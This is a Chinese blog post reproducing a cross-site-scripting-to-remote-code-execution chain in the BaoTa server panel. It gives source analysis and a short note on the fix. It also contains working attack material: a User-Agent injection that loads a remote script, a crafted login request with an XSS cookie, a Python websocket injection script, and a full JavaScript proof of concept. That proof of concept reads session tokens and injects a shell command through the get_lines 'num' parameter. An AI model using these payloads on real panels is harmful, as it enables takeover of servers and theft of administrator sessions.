分享

宝塔前台RCE复现 分析(1click)

 冲天香阵 2022-08-05 发布于甘肃

    宝塔RCE组合拳

        前言:该RCE与历史漏洞相似,同样是XSS到RCE,全文所有漏洞均已在最新版7.9.3修复,RCE1和2影响范围<7.9.2,RCE3影响范围 <7.9.3,修复方式就是把版本直接更新到最新版7.9.3即可,如果对业务有影响不能更新的话就把日志记录的时候过滤下XSS即可

        准备工作:

        找到网站名

图片

        JS payload

图片

‍        复现过程:

         此时的wwwroot目录下面是没有文件的

图片

        发包

图片

        User-Agent:</tExtArEa>'><script src=http://URL/1.js></script>

        点击网站日志

图片

图片

        成功RCE

        原理分析

        这里我用的环境是7.9.1版

图片

        目前的官网最新版也是7.9.1版本

图片

        复现流程可以看出来是xss+后台RCE的组合拳

        首先是xss,我们可以看到日志可以成功用</textarea>闭合,然后就是经典的script src

图片

        分析源码,看看宝塔是如何读取日志的

图片

        这里有一个getsitelogs函数,其中获取了网站的日志路径,然后传进了GetNumLines函数,跟进去如下

图片

        函数里面语句较多,但是并没有任何的过滤

         然后returnMsg直接return回来

图片

       其中日志是由nginx保存的,宝塔读取日志数据并return回来,无任何过滤,加上拼接,即可造成xss

        那么如何扩大危害造成rce呢?宝塔其中有一个getlines函数如下

图片

        注意一个函数,ExecShell,其中使用了subprocess.Popen执行了命令,这也是Py自带的执行命令函数,我们可以看到全程也是无过滤的

图片

        那么我们转回来看getline函数

图片

       先判断了传来的filename存不存在,不存在就return,如果存在的话就往下进行拼接num和filename,所以我们就知道了怎么可以rce,传一个必定存在的filename,然后num执行命令就可以了,但因为这是在后台,所以需要xss+csrf配合触发

        RCE2:

        原理基本一样,不过我们要让他报错,在后面目录输入报错语句强制报错

        http://124.222.155.156/ÑÞ:wJ„</textarea><script>alert(1)</script>

图片

        同RCE1,这里直接取了错误日志

图片

        RCE3:

        复现过程:

        这个点与网站日志一样,也是有两个RCE的方式,不过触发点一样就当成一个写了,我发现宝塔本身也有两个日志,运行和报错,但报错日志是记录在运行日志当中的,而爱民哥发现的是用websockets传参,该方法比我的方式要更好一些

        利用报错(插入cookie后点击宝塔运行日志)

POST /login HTTP/1.1
Host: 124.222.155.156:8888
Content-Length: 298
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.63 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryDf2OV8B1vndXw2kE
Accept: */*
Origin: http://124.222.155.156:8888
Referer: http://124.222.155.156:8888/4da4fb73/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie:/ÑÞ:wJ„</textarea><script>alert(1)</script>%7B%22status%22%3Atrue%2C%22msg%22%3A%22%u83B7%u53D6%u6210%u529F%21%22%2C%22data%22%3A%7B%22username%22%3A%22183****2354%22%7D%7D; config-tab=0; d83ead85f6a5e78d01786d2425d0944a=06c2e402-41be-4aea-8183-cb26a85b31c3.Q5M8TQT6Ez-ePm-x8dO3SJ4kUBQ
Connection: close

------WebKitFormBoundaryDf2OV8B1vndXw2kE
Content-Disposition: form-data; name='username'

c4ca4238a0b923820dcc509a6f75849b
------WebKitFormBoundaryDf2OV8B1vndXw2kE
Content-Disposition: form-data; name='password'

2e960237cb9186c02546fe2b1cdce087
------WebKitFormBoundaryDf2OV8B1vndXw2kE--

图片

        这个没有深入分析,X了一次我就没管了,因为爱民哥的方法要比我的好很多,所以可能有误,或者是之前X的没有清理干净

        源码漏洞点

图片

        基本上只要能X进来就能R了

        然后是爱民哥发现的精简法

        运行脚本(回显400即可)

图片

        然后点击

图片

        成功RCE

图片

        这是面板日志获取的方式

图片

        我们用websocket协议进行传参

import asyncioimport websockets
async def hello(): async with websockets.connect('ws://URL:端口/</pre><script>alert(1)</script><prestyle=\'display:none\'>') as websocket: await websocket.send('') await websocket.recv()
asyncio.run(hello())

    全部JSPOC

//JQuery preload (optional)(function(){ var s = document.createElement('script');s.type = 'text/javascript';s.async = true;s.src = 'https://code./jquery-2.1.4.min.js';(document.getElementsByTagName('head')[0]||document.getElementsByTagName('body')[0]).appendChild(s);})();
// cookielet cookies = document.cookie;
function getCookie(sKey) {    if (!sKey) { return null; }    return decodeURIComponent(document.cookie.replace(new RegExp('(?:(?:^|.*;)\\s*' +encodeURIComponent(sKey).replace(/[\-\.\+\*]/g, '\\$&') +'\\s*\\=\\s*([^;]*).*$)|^.*$'), '$1')) || null;}
all_headers ={ 'Accept':'*/*', 'X-Requested-With':'XMLHttpRequest', 'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64)AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36', 'Connection':'close', 'Accept-Encoding':'gzip, deflate', 'dnt':'1', 'sec-gpc':'1', 'Cookie': cookies, 'x-cookie-token': getCookie('request_token'), 'Accept-Language':'zh-CN,zh;q=0.9,en;q=0.8', 'x-http-token': $('#request_token_head').attr('token'),    'Content-Type':'application/x-www-form-urlencoded;charset=UTF-8'}
$.ajax({ url: '/ajax', type: 'get', data:        {'action':'get_lines','filename':'/etc','num':'|echo 'BT RCE test ZAC'> /www/wwwroot/1.txt|'} , headers: all_headers, success: function (data) { console.info(data);    }});

    本站是提供个人知识管理的网络存储空间,所有内容均由用户发布,不代表本站观点。请注意甄别内容中的联系方式、诱导购买等信息,谨防诈骗。如发现有害或侵权内容,请点击一键举报。
    转藏 分享 献花(0

    0条评论

    发表

    请遵守用户 评论公约

    类似文章 更多